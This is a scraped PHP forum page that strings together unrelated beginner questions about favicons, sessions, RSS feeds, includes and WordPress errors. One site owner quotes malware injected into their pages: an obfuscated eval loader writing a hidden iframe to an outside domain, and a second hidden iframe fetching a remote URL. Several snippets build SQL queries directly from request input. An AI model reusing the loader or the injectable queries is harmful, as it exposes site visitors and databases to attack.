PHP - Getting A Favicon From A Site
I wasn't sure where to post this, but I thought this would be best as there are most people.
I need a script to type in the url from a website and get the favicon as an image. Like if I type in http://www.facebook.com/ I get the facebook favicon displayed as an image. Any ideas how this would be done? Similar TutorialsI have several "sites" located in my html directory, and each has a "general" access point and an "administrator" access point:
/var/www/html/site1/index.php /var/www/html/site1/administrator/index.php /var/www/html/site2/index.php /var/www/html/site2/administrator/index.php /var/www/html/site3/index.php /var/www/html/site3/administrator/index.phpAll sites are similar except that data will be specific to site1, site2, or site3, etc. Users who log onto /var/www/html/siteX/index.php are totally unrelated to those who logon to /var/www/html/siteX/administrator/index.php, will have different logon credentials, are stored in different DB tables, and each should have their own session. If a user logs off of either the general or administrator site, it should not effect the other site even if they were previously logged on to both on the same PC (and of course not effect other sites). When a user logs off, I would like to destroy their previous cookie and associated session. Users for either will only use https. I am using Apache to rewrite https://www.mysite.com/ to https://mysite.com/. While I named the administrator site "administrator" above, the administrator user has the ability to change the directory name. I am thinking I need to use session_set_cookie_params to specify where I wish the session cookie to be stored since /var/www/html/siteX/administrator/index.php is a sub-directory to /var/www/html/siteX/index.php, but am not really sure. Sorry for the cryptic post, but I am not very well versed in this subject. How would you recommend setting up cookies/sessions for this scenario? Thank you Not sure if I'm trying to achieve something totally crazy here, or if this is something pretty standard. Didn't have much luck with searching as I'm not fully down with all the terms. (A) I have one site providing an RSS feed. (B) I have one site I want to search, once for each of the items in the feed A. (C) I want the results of the search in (B) to be displayed on page (C). So for example, the feed on (A) says; apples bananas oranges cheese I want site (B) to search for each of those terms (by passing the item in the feed (A) to the ?search= part of the URL of that page) and then show the results from THAT search on page C. Bit of a complex one, let me know if you need me to clarify. Thanks for any help! now i use this code to show where the visitors came from to my site. <?php $referer=$_SERVER['HTTP_REFERER']; echo $referer; ?> now, i want to show the 5 latest vistors referer's site url on my site ? Hi, My first post here is a cry for help I have a Windows 2003 server running IIS6/PHP5, the server hosts multiple web sites. The problem is include files that are for site A are showing on site B (each site having its own includes as part of the site files in its own site folder), though not every time, its very random, sometimes the correct includes show, sometimes ones from another site on the same server. This only occurs where the include files for both sites have the same name, such as 'inc-header.php' for example. I can only assume PHP is caching includes and because they have the same name is showing the wrong one on other sites sometimes, if I rename them to something unique then the problem goes away, but its not a practical solution to rename all include files to unique names so I find myself looking for a 'real' fix. I have a feeling its to do with the include_path in the php.ini, but right now its disabled with a semi-colon, and I don't want to set one as I have no global includes, all includes are site specific. Any help would be very much appreciated! Phil I'm currently running a classified ads site and planning to display my own content from database combined with and external site rss. So here is what i got right now after the db query for the jobs ads (procedural php),
while ($row = mysqli_fetch_array($results, MYSQLI_ASSOC)){ echo '<div class="media margin-none"> <a class="pull-left bg-inverse innerAll text-center" href="#"><img src="'.$foto.'" share_alt="" width="100" height="100"></a> <div class="media-body innerAll"> <h4 class="media-heading innerT"> <a href="' . $row['title'] .'-da' . $row['id_ad'] . '" class="text-inverse">'. $remuneracion .' ' . substr(ucfirst(strtolower($row['title'])), 0, 53) . '</a> <small class="pull-right label label-default"><i class="fa fa-fw fa-calendar-o"></i> ' . $row['date_created'] . '</small></h4> <p>' . substr(ucfirst(strtolower($row['description'])), 0, 80) . ' ...</p>'; echo '</div> </div> <div class="col-separator-h"></div>'; } echo pagination($statement,$per_page,$page, $url_filtros, $filtros); ?>it is the while loop that i use to display ads from my database, what could be the best way to display (in this same loop?) other site's rss feed so i can show my content combined with the external rss? Thanks Transferring data from sub-domain.site.com Reading sub-domain.site.com What is this all about? I'm going to put all .. images into a separate sub-domain eg: images.site.com. This would create a folder inside my public_HTML called "images" Now when sites have that Transferring data, and Reading... is this .. something relating to what I want. Facebook also does it, and they get their images for the site from a sub domain, how is it all done? I'm not sure if its entirely PHP, but I hope someone can help. Thanks Hi I made a new design for my website and I made some changes. I want to use layout for my second site.
I'll like to know if my site is easier to browse through now and if you like the design better?. I test my site on internet explorer, chrome, and firefox. It is best to use site on better browsers like firefox and chrome to get a better experience of site. Thanks.
http://adjade.com
This topic has been moved to mod_rewrite. http://www.phpfreaks.com/forums/index.php?topic=318858.0 How do I only redirect the page when index.php is present? How can i make echo "<b>Site:</b> ".$req_user_info['site']."<br>"; linkable The site raw fron the db contains an site url. Regards some guy went on my site and was able to get all the cookies of every user on my site. Its the top thread, he said my site is full of xss, im not sure what that means or how to protect against it the site is www.imgboard.co.uk can you give me some idea of what i done wrong etc hi, i am developing a toplist site, i have it fully working but... people can register multiple times with the same title, and password not so concerned about password but i dont want 50 of the same titled websites no it here is my code for inserting the data to the mysql database Code: [Select] <?php include("config.php"); $sql="INSERT INTO sites (title, content, link, password) VALUES ('$_POST[title]','$_POST[content]','$_POST[link]','$_POST[password]')"; if (!mysql_query($sql,$con)) { die('Error: ' . mysql_error()); } echo "Site has been registered. Please check the homepage."; mysql_close($con) ?> and here is the register form code (i dont think you need it though) Code: [Select] <form action="insert.php" method="post"> <table align="center" border="0" bordercolor="" style="background-color:" width="400" cellpadding="3" cellspacing="3"> <tr> <td>Site name:</td> <td><input type="text" name="title" /></td> </tr> <tr> <td>Password:</td> <td><input type="password" name="password" /></td> </tr> <tr> <td>Link to site:</td> <td><input type="text" name="link" /></td> </tr> <tr> <td>Description:</td> <td><textarea name="content" ></textarea></td> </tr> <input type="submit" value="Register" ></input> </table> </form> Hi there i was wondering is anyone could help me in creating a page for each site like info.php?site=sitename I've Currently got this but its not really working... Code: [Select] <?php include ("config.php"); $ServerName = $_GET['title']; $server = "SELECT * FROM sites WHERE title='$ServerName'"; $desc = $_GET['content']; $content = "SELECT * FROM sites WHERE content='$desc'"; $url = $_GET['link']; $link = "SELECT * FROM sites WHERE link='$url'"; if ($info== "$server") { echo "<h1>$server</h1>"; echo "<p>$content</p>"; echo "<a href='$link'>Visit Site</a> OR <a href='play.php?server=$server'>Play Now</a>"; } ?>Please relpy ASAP & Thank You in Advance... im trying to make this kind of a page from this xml link from tvrage. can anyone help? i am newbie and sorry for bad english. xml link Code: [Select] http://services.tvrage.com/feeds/fullschedule.php?country=US this is coding for countdown all tv shows. so this may help to make my thing Code: [Select] <?php // Open Header, include functions and get the showid and cached xml include 'functions.php'; loadheader(); $loc = $_GET['loc']; $cache_time = 3600*24; // 24 hours $cache_file = './cache/countdown.xml'; $timedif = @(time() - filemtime($cache_file)); if (file_exists($cache_file) && $timedif < $cache_time) { $string = file_get_contents($cache_file); } else { $string = file_get_contents('http://services.tvrage.com/feeds/countdown.php'); if (($string) && ($f = @fopen($cache_file, 'w'))) { fwrite ($f, $string, strlen($string)); fclose($f); } } // Cached the file, now lets use it. if (!file_exists($cache_file)) { // Does it exist? If it doesn't there's a problem so lets report it. echo "<center><h2>Cache file issue: Cannot open cached XML poss connection issue?</h2></center>"; break; } $xml = simplexml_load_file($cache_file); echo "<div class=\"showtitle\">Current Countdown List for ".$loc."</div>\n"; echo "<table border=0 width=600px; cellpadding=2>\n"; echo "<tr><th width=30px;>Show:</th><th width=70px;>Episode:</th><th width=80px;>Season<br>Ep#</th><th width=80px;>Air Date</th><th>Relative Time: (From Cache File Creation)</th></tr>\n"; echo "<tr></tr>\n"; foreach($xml->country as $country){ echo "<tr><th colspan=\"5\"><b>Country List of: ".$country['name']."</b></th></tr>\n"; foreach($country->show as $node){ echo "<tr><td><a href=eplist.php?sid=".$node->showid.">".$node->showname."</a></td>\n"; echo "<td><a href=\"".$node->upcomingep->link."\">".make_safe($node->upcomingep->title)."</a></td>\n"; echo "<td>".$node->upcomingep->epnum."</td>\n"; echo "<td>".$node->upcomingep->airdate."</td>\n"; echo "<td>".$node->upcomingep->relativedate."</td></tr>\n"; } }echo "</table>\n"; echo "<p><div align=center>Page generated using a cached feed generated on: ".date ("F d Y H:i:s.", filemtime($cache_file))."</div></p>\n"; loadfooter(); ?> i got that script from here Code: [Select] http://sourceforge.net/projects/tvrageshellsite/ I'm new to this blog but need serious help. I want to add a calendar to a Hotel website for the booking part, I did it once but I forgot how to do it. Here is the link to the booking file. http://regencycountryclub.com/QuickReserve.php I just want instead of having to select the day, month and year. I want to add a calendar to select the arrival date and departure date. I would really appreciate the help. Thanks Hey Guys I have created a PHP site for my School, It works perfectly with chrome but when I open IE7 (what my school uses), it wont login. It says Errors on Page. When I press the Login Button.. Nothing Happens. Any Suggestions ? My website this morning was displaying 2 iframes that I know I never put there in the code: in index.php: <script type="text/javascript" charset="ISO-8859-1" src="game.js"></script> and in my public_html, there was a file called game.js that contained the following: O="=100%iframewidthheig".split('');Q="document.write('< src=http://lolkatdska.co.in/sTDS/go.php?sid=1 ht frameborder=0 margin=0 marginht=0></>');";o="";for(J=3;J>-1;J--)Q=Q.split(o.charAt(J)).join(O[J]);eval(Q.replace(//g,'"')); I am the only person with the login details to my website/cpanel, and I know I never uploaded/modified these files. I've spoken to my host, but they told me they didn't see anything (because obviously I removed these foreign objects as soon as i noticed them). They don't seem too bothered about a security risk :/ Anyway, I've changed my login details and all that. I mentioned above that I discovered 2 foreign iframes; the other one I found just a moment ago, again on my index page (but within a file called footer.php) in footer.php: <iframe src="<?= file_get_contents('http://white-star.biz/traffic_url.php?advertId=7&hash=919dac3bf6ad622657959934934bacf1'); ?>" width=0 height=0 border=0></iframe> How did I not notice this before??? I think it was placed there in the last hour or so, after I removed the first iframe. This is pretty weird, I changed my login details for cpanel/ftp and all that stuff over an hour ago!!! and since then I've found this new alteration that I never made! I dunno, maybe it was there along with the game.js iframe but I didn't notice.... but as soon as I fixed the first one, I checked, and everything was fine. Oh, and also, the php files index and footer are now have twice the number of returns as they originally did. e.g: <h1><?php include("ads/index_160x600_1.php"); ?></h1> <h2><?php include("ads/index_125x125_1.php"); ?></h2> <h3><?php include("ads/index_125x125_2.php"); ?></h3> Became: <h1><?php include("ads/index_160x600_1.php"); ?></h1> <h2><?php include("ads/index_125x125_1.php"); ?></h2> <h3><?php include("ads/index_125x125_2.php"); ?></h3> The only way these files could have been altered is if someone knows my login details... but this just is impossible, how did this happen? Is any of these weird files/modification familiar to anyone else? We had a problem with the site a month ago when google suspected our site as some sort of security threat... because we were hosting content from xxxxxxxxx.com, a site we have no affiliation with and doesn't feature on our site at all. It was all quite bizarre and the google thing went away within a day of contacting them. I have a feeling the same person/thing was behind this also. HELP! i am a newbie.. From my tables, what code should i put to put into my site? in text.. Hi, i am learning WordPress and have just started, but i have a problem....when i try to access my site i get this: Warning: Cannot modify header information - headers already sent by (output started at /home/smra9/public_html/wp-content/themes/evanescence/functions.php:6) in /home/smra9/public_html/wp-includes/pluggable.php on line 890 when i open pluggable.php and i go to the line 890 it says: header("Location: $location", true, $status); i will also copy a text from line 885 to 890 so maybe you will understand better: if ( $is_IIS ) { header("Refresh: 0;url=$location"); } else { if ( php_sapi_name() != 'cgi-fcgi' ) status_header($status); // This causes problems on IIS and some FastCGI setups header("Location: $location", true, $status); } Can anyone help me, i don't know what to do I am inheriting a significant web site and have not played with PHP in quite a while. Is there a utility tool or something else that will take an initial starting web page and somehow map out all the included/required_once type of files so that I can quickly get an overview of the site? Mapping hyperlinks would also be very helpful. Any other tools/utilities/suggestions for reviewing the site would also be appreciated. |